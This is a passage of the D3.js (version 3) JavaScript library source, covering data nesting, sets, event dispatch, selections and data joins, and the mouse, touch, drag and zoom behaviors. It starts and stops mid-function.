var i = -1, n = array.length, key = keys[depth++], keyValue, object, setter, valuesByKey = new d3_Map(), values;
while (++i < n) {
if (values = valuesByKey.get(keyValue = key(object = array[i]))) {
values.push(object);
} else {
valuesByKey.set(keyValue, [ object ]);
}
}
if (mapType) {
object = mapType();
setter = function(keyValue, values) {
object.set(keyValue, map(mapType, values, depth));
};
} else {
object = {};
setter = function(keyValue, values) {
object[keyValue] = map(mapType, values, depth);
};
}
valuesByKey.forEach(setter);
return object;
}
function entries(map, depth) {
if (depth >= keys.length) return map;
var array = [], sortKey = sortKeys[depth++];
map.forEach(function(key, keyMap) {
array.push({
key: key,
values: entries(keyMap, depth)
});
});
return sortKey ? array.sort(function(a, b) {
return sortKey(a.key, b.key);
}) : array;
}
nest.map = function(array, mapType) {
return map(mapType, array, 0);
};
nest.entries = function(array) {
return entries(map(d3.map, array, 0), 0);
};
nest.key = function(d) {
keys.push(d);
return nest;
};
nest.sortKeys = function(order) {
sortKeys[keys.length - 1] = order;
return nest;
};
nest.sortValues = function(order) {
sortValues = order;
return nest;
};
nest.rollup = function(f) {
rollup = f;
return nest;
};
return nest;
};
d3.set = function(array) {
var set = new d3_Set();
if (array) for (var i = 0, n = array.length; i < n; ++i) set.add(array[i]);
return set;
};
function d3_Set() {
this._ = Object.create(null);
}
d3_class(d3_Set, {
has: d3_map_has,
add: function(key) {
this._[d3_map_escape(key += "")] = true;
return key;
},
remove: d3_map_remove,
values: d3_map_keys,
size: d3_map_size,
empty: d3_map_empty,
forEach: function(f) {
for (var key in this._) f.call(this, d3_map_unescape(key));
}
});
d3.behavior = {};
function d3_identity(d) {
return d;
}
d3.rebind = function(target, source) {
var i = 1, n = arguments.length, method;
while (++i < n) target[method = arguments[i]] = d3_rebind(target, source, source[method]);
return target;
};
function d3_rebind(target, source, method) {
return function() {
var value = method.apply(source, arguments);
return value === source ? target : value;
};
}
function d3_vendorSymbol(object, name) {
if (name in object) return name;
name = name.charAt(0).toUpperCase() + name.slice(1);
for (var i = 0, n = d3_vendorPrefixes.length; i < n; ++i) {
var prefixName = d3_vendorPrefixes[i] + name;
if (prefixName in object) return prefixName;
}
}
var d3_vendorPrefixes = [ "webkit", "ms", "moz", "Moz", "o", "O" ];
function d3_noop() {}
d3.dispatch = function() {
var dispatch = new d3_dispatch(), i = -1, n = arguments.length;
while (++i < n) dispatch[arguments[i]] = d3_dispatch_event(dispatch);
return dispatch;
};
function d3_dispatch() {}
d3_dispatch.prototype.on = function(type, listener) {
var i = type.indexOf("."), name = "";
if (i >= 0) {
name = type.slice(i + 1);
type = type.slice(0, i);
}
if (type) return arguments.length < 2 ? this[type].on(name) : this[type].on(name, listener);
if (arguments.length === 2) {
if (listener == null) for (type in this) {
if (this.hasOwnProperty(type)) this[type].on(name, null);
}
return this;
}
};
function d3_dispatch_event(dispatch) {
var listeners = [], listenerByName = new d3_Map();
function event() {
var z = listeners, i = -1, n = z.length, l;
while (++i < n) if (l = z[i].on) l.apply(this, arguments);
return dispatch;
}
event.on = function(name, listener) {
var l = listenerByName.get(name), i;
if (arguments.length < 2) return l && l.on;
if (l) {
l.on = null;
listeners = listeners.slice(0, i = listeners.indexOf(l)).concat(listeners.slice(i + 1));
listenerByName.remove(name);
}
if (listener) listeners.push(listenerByName.set(name, {
on: listener
}));
return dispatch;
};
return event;
}
d3.event = null;
function d3_eventPreventDefault() {
d3.event.preventDefault();
}
function d3_eventSource() {
var e = d3.event, s;
while (s = e.sourceEvent) e = s;
return e;
}
function d3_eventDispatch(target) {
var dispatch = new d3_dispatch(), i = 0, n = arguments.length;
while (++i < n) dispatch[arguments[i]] = d3_dispatch_event(dispatch);
dispatch.of = function(thiz, argumentz) {
return function(e1) {
try {
var e0 = e1.sourceEvent = d3.event;
e1.target = target;
d3.event = e1;
dispatch[e1.type].apply(thiz, argumentz);
} finally {
d3.event = e0;
}
};
};
return dispatch;
}
d3.requote = function(s) {
return s.replace(d3_requote_re, "\\$&");
};
var d3_requote_re = /[\\\^\$\*\+\?\|\[\]\(\)\.\{\}]/g;
var d3_subclass = {}.__proto__ ? function(object, prototype) {
object.__proto__ = prototype;
} : function(object, prototype) {
for (var property in prototype) object[property] = prototype[property];
};
function d3_selection(groups) {
d3_subclass(groups, d3_selectionPrototype);
return groups;
}
var d3_select = function(s, n) {
return n.querySelector(s);
}, d3_selectAll = function(s, n) {
return n.querySelectorAll(s);
}, d3_selectMatches = function(n, s) {
var d3_selectMatcher = n.matches || n[d3_vendorSymbol(n, "matchesSelector")];
d3_selectMatches = function(n, s) {
return d3_selectMatcher.call(n, s);
};
return d3_selectMatches(n, s);
};
if (typeof Sizzle === "function") {
d3_select = function(s, n) {
return Sizzle(s, n)[0] || null;
};
d3_selectAll = Sizzle;
d3_selectMatches = Sizzle.matchesSelector;
}
d3.selection = function() {
return d3.select(d3_document.documentElement);
};
var d3_selectionPrototype = d3.selection.prototype = [];
d3_selectionPrototype.select = function(selector) {
var subgroups = [], subgroup, subnode, group, node;
selector = d3_selection_selector(selector);
for (var j = -1, m = this.length; ++j < m; ) {
subgroups.push(subgroup = []);
subgroup.parentNode = (group = this[j]).parentNode;
for (var i = -1, n = group.length; ++i < n; ) {
if (node = group[i]) {
subgroup.push(subnode = selector.call(node, node.__data__, i, j));
if (subnode && "__data__" in node) subnode.__data__ = node.__data__;
} else {
subgroup.push(null);
}
}
}
return d3_selection(subgroups);
};
function d3_selection_selector(selector) {
return typeof selector === "function" ? selector : function() {
return d3_select(selector, this);
};
}
d3_selectionPrototype.selectAll = function(selector) {
var subgroups = [], subgroup, node;
selector = d3_selection_selectorAll(selector);
for (var j = -1, m = this.length; ++j < m; ) {
for (var group = this[j], i = -1, n = group.length; ++i < n; ) {
if (node = group[i]) {
subgroups.push(subgroup = d3_array(selector.call(node, node.__data__, i, j)));
subgroup.parentNode = node;
}
}
}
return d3_selection(subgroups);
};
function d3_selection_selectorAll(selector) {
return typeof selector === "function" ? selector : function() {
return d3_selectAll(selector, this);
};
}
var d3_nsXhtml = "http://www.w3.org/1999/xhtml";
var d3_nsPrefix = {
svg: "http://www.w3.org/2000/svg",
xhtml: d3_nsXhtml,
xlink: "http://www.w3.org/1999/xlink",
xml: "http://www.w3.org/XML/1998/namespace",
xmlns: "http://www.w3.org/2000/xmlns/"
};
d3.ns = {
prefix: d3_nsPrefix,
qualify: function(name) {
var i = name.indexOf(":"), prefix = name;
if (i >= 0 && (prefix = name.slice(0, i)) !== "xmlns") name = name.slice(i + 1);
return d3_nsPrefix.hasOwnProperty(prefix) ? {
space: d3_nsPrefix[prefix],
local: name
} : name;
}
};
d3_selectionPrototype.attr = function(name, value) {
if (arguments.length < 2) {
if (typeof name === "string") {
var node = this.node();
name = d3.ns.qualify(name);
return name.local ? node.getAttributeNS(name.space, name.local) : node.getAttribute(name);
}
for (value in name) this.each(d3_selection_attr(value, name[value]));
return this;
}
return this.each(d3_selection_attr(name, value));
};
function d3_selection_attr(name, value) {
name = d3.ns.qualify(name);
function attrNull() {
this.removeAttribute(name);
}
function attrNullNS() {
this.removeAttributeNS(name.space, name.local);
}
function attrConstant() {
this.setAttribute(name, value);
}
function attrConstantNS() {
this.setAttributeNS(name.space, name.local, value);
}
function attrFunction() {
var x = value.apply(this, arguments);
if (x == null) this.removeAttribute(name); else this.setAttribute(name, x);
}
function attrFunctionNS() {
var x = value.apply(this, arguments);
if (x == null) this.removeAttributeNS(name.space, name.local); else this.setAttributeNS(name.space, name.local, x);
}
return value == null ? name.local ? attrNullNS : attrNull : typeof value === "function" ? name.local ? attrFunctionNS : attrFunction : name.local ? attrConstantNS : attrConstant;
}
function d3_collapse(s) {
return s.trim().replace(/\s+/g, " ");
}
d3_selectionPrototype.classed = function(name, value) {
if (arguments.length < 2) {
if (typeof name === "string") {
var node = this.node(), n = (name = d3_selection_classes(name)).length, i = -1;
if (value = node.classList) {
while (++i < n) if (!value.contains(name[i])) return false;
} else {
value = node.getAttribute("class");
while (++i < n) if (!d3_selection_classedRe(name[i]).test(value)) return false;
}
return true;
}
for (value in name) this.each(d3_selection_classed(value, name[value]));
return this;
}
return this.each(d3_selection_classed(name, value));
};
function d3_selection_classedRe(name) {
return new RegExp("(?:^|\\s+)" + d3.requote(name) + "(?:\\s+|$)", "g");
}
function d3_selection_classes(name) {
return (name + "").trim().split(/^|\s+/);
}
function d3_selection_classed(name, value) {
name = d3_selection_classes(name).map(d3_selection_classedName);
var n = name.length;
function classedConstant() {
var i = -1;
while (++i < n) name[i](this, value);
}
function classedFunction() {
var i = -1, x = value.apply(this, arguments);
while (++i < n) name[i](this, x);
}
return typeof value === "function" ? classedFunction : classedConstant;
}
function d3_selection_classedName(name) {
var re = d3_selection_classedRe(name);
return function(node, value) {
if (c = node.classList) return value ? c.add(name) : c.remove(name);
var c = node.getAttribute("class") || "";
if (value) {
re.lastIndex = 0;
if (!re.test(c)) node.setAttribute("class", d3_collapse(c + " " + name));
} else {
node.setAttribute("class", d3_collapse(c.replace(re, " ")));
}
};
}
d3_selectionPrototype.style = function(name, value, priority) {
var n = arguments.length;
if (n < 3) {
if (typeof name !== "string") {
if (n < 2) value = "";
for (priority in name) this.each(d3_selection_style(priority, name[priority], value));
return this;
}
if (n < 2) {
var node = this.node();
return d3_window(node).getComputedStyle(node, null).getPropertyValue(name);
}
priority = "";
}
return this.each(d3_selection_style(name, value, priority));
};
function d3_selection_style(name, value, priority) {
function styleNull() {
this.style.removeProperty(name);
}
function styleConstant() {
this.style.setProperty(name, value, priority);
}
function styleFunction() {
var x = value.apply(this, arguments);
if (x == null) this.style.removeProperty(name); else this.style.setProperty(name, x, priority);
}
return value == null ? styleNull : typeof value === "function" ? styleFunction : styleConstant;
}
d3_selectionPrototype.property = function(name, value) {
if (arguments.length < 2) {
if (typeof name === "string") return this.node()[name];
for (value in name) this.each(d3_selection_property(value, name[value]));
return this;
}
return this.each(d3_selection_property(name, value));
};
function d3_selection_property(name, value) {
function propertyNull() {
delete this[name];
}
function propertyConstant() {
this[name] = value;
}
function propertyFunction() {
var x = value.apply(this, arguments);
if (x == null) delete this[name]; else this[name] = x;
}
return value == null ? propertyNull : typeof value === "function" ? propertyFunction : propertyConstant;
}
d3_selectionPrototype.text = function(value) {
return arguments.length ? this.each(typeof value === "function" ? function() {
var v = value.apply(this, arguments);
this.textContent = v == null ? "" : v;
} : value == null ? function() {
this.textContent = "";
} : function() {
this.textContent = value;
}) : this.node().textContent;
};
d3_selectionPrototype.html = function(value) {
return arguments.length ? this.each(typeof value === "function" ? function() {
var v = value.apply(this, arguments);
this.innerHTML = v == null ? "" : v;
} : value == null ? function() {
this.innerHTML = "";
} : function() {
this.innerHTML = value;
}) : this.node().innerHTML;
};
d3_selectionPrototype.append = function(name) {
name = d3_selection_creator(name);
return this.select(function() {
return this.appendChild(name.apply(this, arguments));
});
};
function d3_selection_creator(name) {
function create() {
var document = this.ownerDocument, namespace = this.namespaceURI;
return namespace === d3_nsXhtml && document.documentElement.namespaceURI === d3_nsXhtml ? document.createElement(name) : document.createElementNS(namespace, name);
}
function createNS() {
return this.ownerDocument.createElementNS(name.space, name.local);
}
return typeof name === "function" ? name : (name = d3.ns.qualify(name)).local ? createNS : create;
}
d3_selectionPrototype.insert = function(name, before) {
name = d3_selection_creator(name);
before = d3_selection_selector(before);
return this.select(function() {
return this.insertBefore(name.apply(this, arguments), before.apply(this, arguments) || null);
});
};
d3_selectionPrototype.remove = function() {
return this.each(d3_selectionRemove);
};
function d3_selectionRemove() {
var parent = this.parentNode;
if (parent) parent.removeChild(this);
}
d3_selectionPrototype.data = function(value, key) {
var i = -1, n = this.length, group, node;
if (!arguments.length) {
value = new Array(n = (group = this[0]).length);
while (++i < n) {
if (node = group[i]) {
value[i] = node.__data__;
}
}
return value;
}
function bind(group, groupData) {
var i, n = group.length, m = groupData.length, n0 = Math.min(n, m), updateNodes = new Array(m), enterNodes = new Array(m), exitNodes = new Array(n), node, nodeData;
if (key) {
var nodeByKeyValue = new d3_Map(), keyValues = new Array(n), keyValue;
for (i = -1; ++i < n; ) {
if (node = group[i]) {
if (nodeByKeyValue.has(keyValue = key.call(node, node.__data__, i))) {
exitNodes[i] = node;
} else {
nodeByKeyValue.set(keyValue, node);
}
keyValues[i] = keyValue;
}
}
for (i = -1; ++i < m; ) {
if (!(node = nodeByKeyValue.get(keyValue = key.call(groupData, nodeData = groupData[i], i)))) {
enterNodes[i] = d3_selection_dataNode(nodeData);
} else if (node !== true) {
updateNodes[i] = node;
node.__data__ = nodeData;
}
nodeByKeyValue.set(keyValue, true);
}
for (i = -1; ++i < n; ) {
if (i in keyValues && nodeByKeyValue.get(keyValues[i]) !== true) {
exitNodes[i] = group[i];
}
}
} else {
for (i = -1; ++i < n0; ) {
node = group[i];
nodeData = groupData[i];
if (node) {
node.__data__ = nodeData;
updateNodes[i] = node;
} else {
enterNodes[i] = d3_selection_dataNode(nodeData);
}
}
for (;i < m; ++i) {
enterNodes[i] = d3_selection_dataNode(groupData[i]);
}
for (;i < n; ++i) {
exitNodes[i] = group[i];
}
}
enterNodes.update = updateNodes;
enterNodes.parentNode = updateNodes.parentNode = exitNodes.parentNode = group.parentNode;
enter.push(enterNodes);
update.push(updateNodes);
exit.push(exitNodes);
}
var enter = d3_selection_enter([]), update = d3_selection([]), exit = d3_selection([]);
if (typeof value === "function") {
while (++i < n) {
bind(group = this[i], value.call(group, group.parentNode.__data__, i));
}
} else {
while (++i < n) {
bind(group = this[i], value);
}
}
update.enter = function() {
return enter;
};
update.exit = function() {
return exit;
};
return update;
};
function d3_selection_dataNode(data) {
return {
__data__: data
};
}
d3_selectionPrototype.datum = function(value) {
return arguments.length ? this.property("__data__", value) : this.property("__data__");
};
d3_selectionPrototype.filter = function(filter) {
var subgroups = [], subgroup, group, node;
if (typeof filter !== "function") filter = d3_selection_filter(filter);
for (var j = 0, m = this.length; j < m; j++) {
subgroups.push(subgroup = []);
subgroup.parentNode = (group = this[j]).parentNode;
for (var i = 0, n = group.length; i < n; i++) {
if ((node = group[i]) && filter.call(node, node.__data__, i, j)) {
subgroup.push(node);
}
}
}
return d3_selection(subgroups);
};
function d3_selection_filter(selector) {
return function() {
return d3_selectMatches(this, selector);
};
}
d3_selectionPrototype.order = function() {
for (var j = -1, m = this.length; ++j < m; ) {
for (var group = this[j], i = group.length - 1, next = group[i], node; --i >= 0; ) {
if (node = group[i]) {
if (next && next !== node.nextSibling) next.parentNode.insertBefore(node, next);
next = node;
}
}
}
return this;
};
d3_selectionPrototype.sort = function(comparator) {
comparator = d3_selection_sortComparator.apply(this, arguments);
for (var j = -1, m = this.length; ++j < m; ) this[j].sort(comparator);
return this.order();
};
function d3_selection_sortComparator(comparator) {
if (!arguments.length) comparator = d3_ascending;
return function(a, b) {
return a && b ? comparator(a.__data__, b.__data__) : !a - !b;
};
}
d3_selectionPrototype.each = function(callback) {
return d3_selection_each(this, function(node, i, j) {
callback.call(node, node.__data__, i, j);
});
};
function d3_selection_each(groups, callback) {
for (var j = 0, m = groups.length; j < m; j++) {
for (var group = groups[j], i = 0, n = group.length, node; i < n; i++) {
if (node = group[i]) callback(node, i, j);
}
}
return groups;
}
d3_selectionPrototype.call = function(callback) {
var args = d3_array(arguments);
callback.apply(args[0] = this, args);
return this;
};
d3_selectionPrototype.empty = function() {
return !this.node();
};
d3_selectionPrototype.node = function() {
for (var j = 0, m = this.length; j < m; j++) {
for (var group = this[j], i = 0, n = group.length; i < n; i++) {
var node = group[i];
if (node) return node;
}
}
return null;
};
d3_selectionPrototype.size = function() {
var n = 0;
d3_selection_each(this, function() {
++n;
});
return n;
};
function d3_selection_enter(selection) {
d3_subclass(selection, d3_selection_enterPrototype);
return selection;
}
var d3_selection_enterPrototype = [];
d3.selection.enter = d3_selection_enter;
d3.selection.enter.prototype = d3_selection_enterPrototype;
d3_selection_enterPrototype.append = d3_selectionPrototype.append;
d3_selection_enterPrototype.empty = d3_selectionPrototype.empty;
d3_selection_enterPrototype.node = d3_selectionPrototype.node;
d3_selection_enterPrototype.call = d3_selectionPrototype.call;
d3_selection_enterPrototype.size = d3_selectionPrototype.size;
d3_selection_enterPrototype.select = function(selector) {
var subgroups = [], subgroup, subnode, upgroup, group, node;
for (var j = -1, m = this.length; ++j < m; ) {
upgroup = (group = this[j]).update;
subgroups.push(subgroup = []);
subgroup.parentNode = group.parentNode;
for (var i = -1, n = group.length; ++i < n; ) {
if (node = group[i]) {
subgroup.push(upgroup[i] = subnode = selector.call(group.parentNode, node.__data__, i, j));
subnode.__data__ = node.__data__;
} else {
subgroup.push(null);
}
}
}
return d3_selection(subgroups);
};
d3_selection_enterPrototype.insert = function(name, before) {
if (arguments.length < 2) before = d3_selection_enterInsertBefore(this);
return d3_selectionPrototype.insert.call(this, name, before);
};
function d3_selection_enterInsertBefore(enter) {
var i0, j0;
return function(d, i, j) {
var group = enter[j].update, n = group.length, node;
if (j != j0) j0 = j, i0 = 0;
if (i >= i0) i0 = i + 1;
while (!(node = group[i0]) && ++i0 < n) ;
return node;
};
}
d3.select = function(node) {
var group;
if (typeof node === "string") {
group = [ d3_select(node, d3_document) ];
group.parentNode = d3_document.documentElement;
} else {
group = [ node ];
group.parentNode = d3_documentElement(node);
}
return d3_selection([ group ]);
};
d3.selectAll = function(nodes) {
var group;
if (typeof nodes === "string") {
group = d3_array(d3_selectAll(nodes, d3_document));
group.parentNode = d3_document.documentElement;
} else {
group = d3_array(nodes);
group.parentNode = null;
}
return d3_selection([ group ]);
};
d3_selectionPrototype.on = function(type, listener, capture) {
var n = arguments.length;
if (n < 3) {
if (typeof type !== "string") {
if (n < 2) listener = false;
for (capture in type) this.each(d3_selection_on(capture, type[capture], listener));
return this;
}
if (n < 2) return (n = this.node()["__on" + type]) && n._;
capture = false;
}
return this.each(d3_selection_on(type, listener, capture));
};
function d3_selection_on(type, listener, capture) {
var name = "__on" + type, i = type.indexOf("."), wrap = d3_selection_onListener;
if (i > 0) type = type.slice(0, i);
var filter = d3_selection_onFilters.get(type);
if (filter) type = filter, wrap = d3_selection_onFilter;
function onRemove() {
var l = this[name];
if (l) {
this.removeEventListener(type, l, l.$);
delete this[name];
}
}
function onAdd() {
var l = wrap(listener, d3_array(arguments));
onRemove.call(this);
this.addEventListener(type, this[name] = l, l.$ = capture);
l._ = listener;
}
function removeAll() {
var re = new RegExp("^__on([^.]+)" + d3.requote(type) + "$"), match;
for (var name in this) {
if (match = name.match(re)) {
var l = this[name];
this.removeEventListener(match[1], l, l.$);
delete this[name];
}
}
}
return i ? listener ? onAdd : onRemove : listener ? d3_noop : removeAll;
}
var d3_selection_onFilters = d3.map({
mouseenter: "mouseover",
mouseleave: "mouseout"
});
if (d3_document) {
d3_selection_onFilters.forEach(function(k) {
if ("on" + k in d3_document) d3_selection_onFilters.remove(k);
});
}
function d3_selection_onListener(listener, argumentz) {
return function(e) {
var o = d3.event;
d3.event = e;
argumentz[0] = this.__data__;
try {
listener.apply(this, argumentz);
} finally {
d3.event = o;
}
};
}
function d3_selection_onFilter(listener, argumentz) {
var l = d3_selection_onListener(listener, argumentz);
return function(e) {
var target = this, related = e.relatedTarget;
if (!related || related !== target && !(related.compareDocumentPosition(target) & 8)) {
l.call(target, e);
}
};
}
var d3_event_dragSelect, d3_event_dragId = 0;
function d3_event_dragSuppress(node) {
var name = ".dragsuppress-" + ++d3_event_dragId, click = "click" + name, w = d3.select(d3_window(node)).on("touchmove" + name, d3_eventPreventDefault).on("dragstart" + name, d3_eventPreventDefault).on("selectstart" + name, d3_eventPreventDefault);
if (d3_event_dragSelect == null) {
d3_event_dragSelect = "onselectstart" in node ? false : d3_vendorSymbol(node.style, "userSelect");
}
if (d3_event_dragSelect) {
var style = d3_documentElement(node).style, select = style[d3_event_dragSelect];
style[d3_event_dragSelect] = "none";
}
return function(suppressClick) {
w.on(name, null);
if (d3_event_dragSelect) style[d3_event_dragSelect] = select;
if (suppressClick) {
var off = function() {
w.on(click, null);
};
w.on(click, function() {
d3_eventPreventDefault();
off();
}, true);
setTimeout(off, 0);
}
};
}
d3.mouse = function(container) {
return d3_mousePoint(container, d3_eventSource());
};
var d3_mouse_bug44083 = this.navigator && /WebKit/.test(this.navigator.userAgent) ? -1 : 0;
function d3_mousePoint(container, e) {
if (e.changedTouches) e = e.changedTouches[0];
var svg = container.ownerSVGElement || container;
if (svg.createSVGPoint) {
var point = svg.createSVGPoint();
if (d3_mouse_bug44083 < 0) {
var window = d3_window(container);
if (window.scrollX || window.scrollY) {
svg = d3.select("body").append("svg").style({
position: "absolute",
top: 0,
left: 0,
margin: 0,
padding: 0,
border: "none"
}, "important");
var ctm = svg[0][0].getScreenCTM();
d3_mouse_bug44083 = !(ctm.f || ctm.e);
svg.remove();
}
}
if (d3_mouse_bug44083) point.x = e.pageX, point.y = e.pageY; else point.x = e.clientX,
point.y = e.clientY;
point = point.matrixTransform(container.getScreenCTM().inverse());
return [ point.x, point.y ];
}
var rect = container.getBoundingClientRect();
return [ e.clientX - rect.left - container.clientLeft, e.clientY - rect.top - container.clientTop ];
}
d3.touch = function(container, touches, identifier) {
if (arguments.length < 3) identifier = touches, touches = d3_eventSource().changedTouches;
if (touches) for (var i = 0, n = touches.length, touch; i < n; ++i) {
if ((touch = touches[i]).identifier === identifier) {
return d3_mousePoint(container, touch);
}
}
};
d3.behavior.drag = function() {
var event = d3_eventDispatch(drag, "drag", "dragstart", "dragend"), origin = null, mousedown = dragstart(d3_noop, d3.mouse, d3_window, "mousemove", "mouseup"), touchstart = dragstart(d3_behavior_dragTouchId, d3.touch, d3_identity, "touchmove", "touchend");
function drag() {
this.on("mousedown.drag", mousedown).on("touchstart.drag", touchstart);
}
function dragstart(id, position, subject, move, end) {
return function() {
var that = this, target = d3.event.target.correspondingElement || d3.event.target, parent = that.parentNode, dispatch = event.of(that, arguments), dragged = 0, dragId = id(), dragName = ".drag" + (dragId == null ? "" : "-" + dragId), dragOffset, dragSubject = d3.select(subject(target)).on(move + dragName, moved).on(end + dragName, ended), dragRestore = d3_event_dragSuppress(target), position0 = position(parent, dragId);
if (origin) {
dragOffset = origin.apply(that, arguments);
dragOffset = [ dragOffset.x - position0[0], dragOffset.y - position0[1] ];
} else {
dragOffset = [ 0, 0 ];
}
dispatch({
type: "dragstart"
});
function moved() {
var position1 = position(parent, dragId), dx, dy;
if (!position1) return;
dx = position1[0] - position0[0];
dy = position1[1] - position0[1];
dragged |= dx | dy;
position0 = position1;
dispatch({
type: "drag",
x: position1[0] + dragOffset[0],
y: position1[1] + dragOffset[1],
dx: dx,
dy: dy
});
}
function ended() {
if (!position(parent, dragId)) return;
dragSubject.on(move + dragName, null).on(end + dragName, null);
dragRestore(dragged);
dispatch({
type: "dragend"
});
}
};
}
drag.origin = function(x) {
if (!arguments.length) return origin;
origin = x;
return drag;
};
return d3.rebind(drag, event, "on");
};
function d3_behavior_dragTouchId() {
return d3.event.changedTouches[0].identifier;
}
d3.touches = function(container, touches) {
if (arguments.length < 2) touches = d3_eventSource().touches;
return touches ? d3_array(touches).map(function(touch) {
var point = d3_mousePoint(container, touch);
point.identifier = touch.identifier;
return point;
}) : [];
};
var ε = 1e-6, ε2 = ε * ε, π = Math.PI, τ = 2 * π, τε = τ - ε, halfπ = π / 2, d3_radians = π / 180, d3_degrees = 180 / π;
function d3_sgn(x) {
return x > 0 ? 1 : x < 0 ? -1 : 0;
}
function d3_cross2d(a, b, c) {
return (b[0] - a[0]) * (c[1] - a[1]) - (b[1] - a[1]) * (c[0] - a[0]);
}
function d3_acos(x) {
return x > 1 ? 0 : x < -1 ? π : Math.acos(x);
}
function d3_asin(x) {
return x > 1 ? halfπ : x < -1 ? -halfπ : Math.asin(x);
}
function d3_sinh(x) {
return ((x = Math.exp(x)) - 1 / x) / 2;
}
function d3_cosh(x) {
return ((x = Math.exp(x)) + 1 / x) / 2;
}
function d3_tanh(x) {
return ((x = Math.exp(2 * x)) - 1) / (x + 1);
}
function d3_haversin(x) {
return (x = Math.sin(x / 2)) * x;
}
var ρ = Math.SQRT2, ρ2 = 2, ρ4 = 4;
d3.interpolateZoom = function(p0, p1) {
var ux0 = p0[0], uy0 = p0[1], w0 = p0[2], ux1 = p1[0], uy1 = p1[1], w1 = p1[2], dx = ux1 - ux0, dy = uy1 - uy0, d2 = dx * dx + dy * dy, i, S;
if (d2 < ε2) {
S = Math.log(w1 / w0) / ρ;
i = function(t) {
return [ ux0 + t * dx, uy0 + t * dy, w0 * Math.exp(ρ * t * S) ];
};
} else {
var d1 = Math.sqrt(d2), b0 = (w1 * w1 - w0 * w0 + ρ4 * d2) / (2 * w0 * ρ2 * d1), b1 = (w1 * w1 - w0 * w0 - ρ4 * d2) / (2 * w1 * ρ2 * d1), r0 = Math.log(Math.sqrt(b0 * b0 + 1) - b0), r1 = Math.log(Math.sqrt(b1 * b1 + 1) - b1);
S = (r1 - r0) / ρ;
i = function(t) {
var s = t * S, coshr0 = d3_cosh(r0), u = w0 / (ρ2 * d1) * (coshr0 * d3_tanh(ρ * s + r0) - d3_sinh(r0));
return [ ux0 + u * dx, uy0 + u * dy, w0 * coshr0 / d3_cosh(ρ * s + r0) ];
};
}
i.duration = S * 1e3;
return i;
};
d3.behavior.zoom = function() {
var view = {
x: 0,
y: 0,
k: 1
}, translate0, center0, center, size = [ 960, 500 ], scaleExtent = d3_behavior_zoomInfinity, duration = 250, zooming = 0, mousedown = "mousedown.zoom", mousemove = "mousemove.zoom", mouseup = "mouseup.zoom", mousewheelTimer, touchstart = "touchstart.zoom", touchtime, event = d3_eventDispatch(zoom, "zoomstart", "zoom", "zoomend"), x0, x1, y0, y1;
if (!d3_behavior_zoomWheel) {
d3_behavior_zoomWheel = "onwheel" in d3_document ? (d3_behavior_zoomDelta = function() {
return -d3.event.deltaY * (d3.event.deltaMode ? 120 : 1);
}, "wheel") : "onmousewheel" in d3_document ? (d3_behavior_zoomDelta = function() {
return d3.event.wheelDelta;
}, "mousewheel") : (d3_behavior_zoomDelta = function() {
return -d3.event.detail;
}, "MozMousePixelScroll");
}
function zoom(g) {
g.on(mousedown, mousedowned).on(d3_behavior_zoomWheel + ".zoom", mousewheeled).on("dblclick.zoom", dblclicked).on(touchstart, touchstarted);
}
zoom.event = function(g) {
g.each(function() {
var dispatch = event.of(this, arguments), view1 = view;
if (d3_transitionInheritId) {
d3.select(this).transition().each("start.zoom", function() {
view = this.__chart__ || {
x: 0,
y: 0,
k: 1
};
zoomstarted(dispatch);
}).tween("zoom:zoom", function() {
var dx = size[0], dy = size[1], cx = center0 ? center0[0] : dx / 2, cy = center0 ? center0[1] : dy / 2, i = d3.interpolateZoom([ (cx - view.x) / view.k, (cy - view.y) / view.k, dx / view.k ], [ (cx - view1.x) / view1.k, (cy - view1.y) / view1.k, dx / view1.k ]);
return function(t) {
var l = i(t), k = dx / l[2];
this.__chart__ = view = {
x: cx - l[0] * k,
y: cy - l[1] * k,
k: k
};
zoomed(dispatch);
};
}).each("interrupt.zoom", function() {
zoomended(dispatch);
}).each("end.zoom", function() {
zoomended(dispatch);
});
} else {
this.__chart__ = view;
zoomstarted(dispatch);
zoomed(dispatch);
zoomended(dispatch);
}
});
};
zoom.translate = function(_) {
if (!arguments.length) return [ view.x, view.y ];
view = {
x: +_[0],
y: +_[1],
k: view.k
};
rescale();
return zoom;
};
zoom.scale = function(_) {
if (!arguments.length) return view.k;
view = {
x: view.x,
y: view.y,
k: null
};
scaleTo(+_);
rescale();
return zoom;
};
zoom.scaleExtent = function(_) {
if (!arguments.length) return scaleExtent;
scaleExtent = _ == null ? d3_behavior_zoomInfinity : [ +_[0], +_[1] ];
return zoom;
};
zoom.center = function(_) {
if (!arguments.length) return center;
center = _ && [ +_[0], +_[1] ];
return zoom;
};
zoom.size = function(_) {
if (!arguments.length) return size;
size = _ && [ +_[0], +_[1] ];
return zoom;
};
zoom.duration = function(_) {
if (!arguments.length) return duration;
duration = +_;
return zoom;
};
zoom.x = function(z) {
if (!arguments.length) return x1;
x1 = z;
x0 = z.copy();
view = {
x: 0,
y: 0,
k: 1
};
return zoom;
};
zoom.y = function(z) {
if (!arguments.length) return y1;
y1 = z;
y0 = z.copy();
view = {
x: 0,
y: 0,
k: 1
};
return zoom;
};
function location(p) {
return [ (p[0] - view.x) / view.k, (p[1] - view.y) / view.k ];
}
function point(l) {
return [ l[0] * view.k + view.x, l[1] * view.k + view.y ];
}
function scaleTo(s) {
view.k = Math.max(scaleExtent[0], Math.min(scaleExtent[1], s));
}
function translateTo(p, l) {
l = point(l);
view.x += p[0] - l[0];
view.y += p[1] - l[1];
}
function zoomTo(that, p, l, k) {
that.__chart__ = {
x: view.x,
y: view.y,
k: view.k
};
scaleTo(Math.pow(2, k));
translateTo(center0 = p, l);
that = d3.select(that);
if (duration > 0) that = that.transition().duration(duration);
that.call(zoom.event);
}
function rescale() {
if (x1) x1.domain(x0.range().map(function(x) {
return (x - view.x) / view.k;
}).map(x0.invert));
if (y1) y1.domain(y0.range().map(function(y) {
return (y - view.y) / view.k;
}).map(y0.invert));
}
function zoomstarted(dispatch) {
if (!zooming++) dispatch({
type: "zoomstart"
});
}
function zoomed(dispatch) {
rescale();
dispatch({
type: "zoom",
scale: view.k,
translate: [ view.x, view.y ]
});
}
function zoomended(dispatch) {
if (!--zooming) dispatch({
type: "zoomend"
}), center0 = null;
}
function mousedowned() {
var that = this, dispatch = event.of(that, arguments), dragged = 0, subject = d3.select(d3_window(that)).on(mousemove, moved).on(mouseup, ended), location0 = location(d3.mouse(that)), dragRestore = d3_event_dragSuppress(that);
d3_selection_interrupt.call(that);
zoomstarted(dispatch);
function moved() {
dragged = 1;
translateTo(d3.mouse(that), location0);
zoomed(dispatch);
}
function ended() {
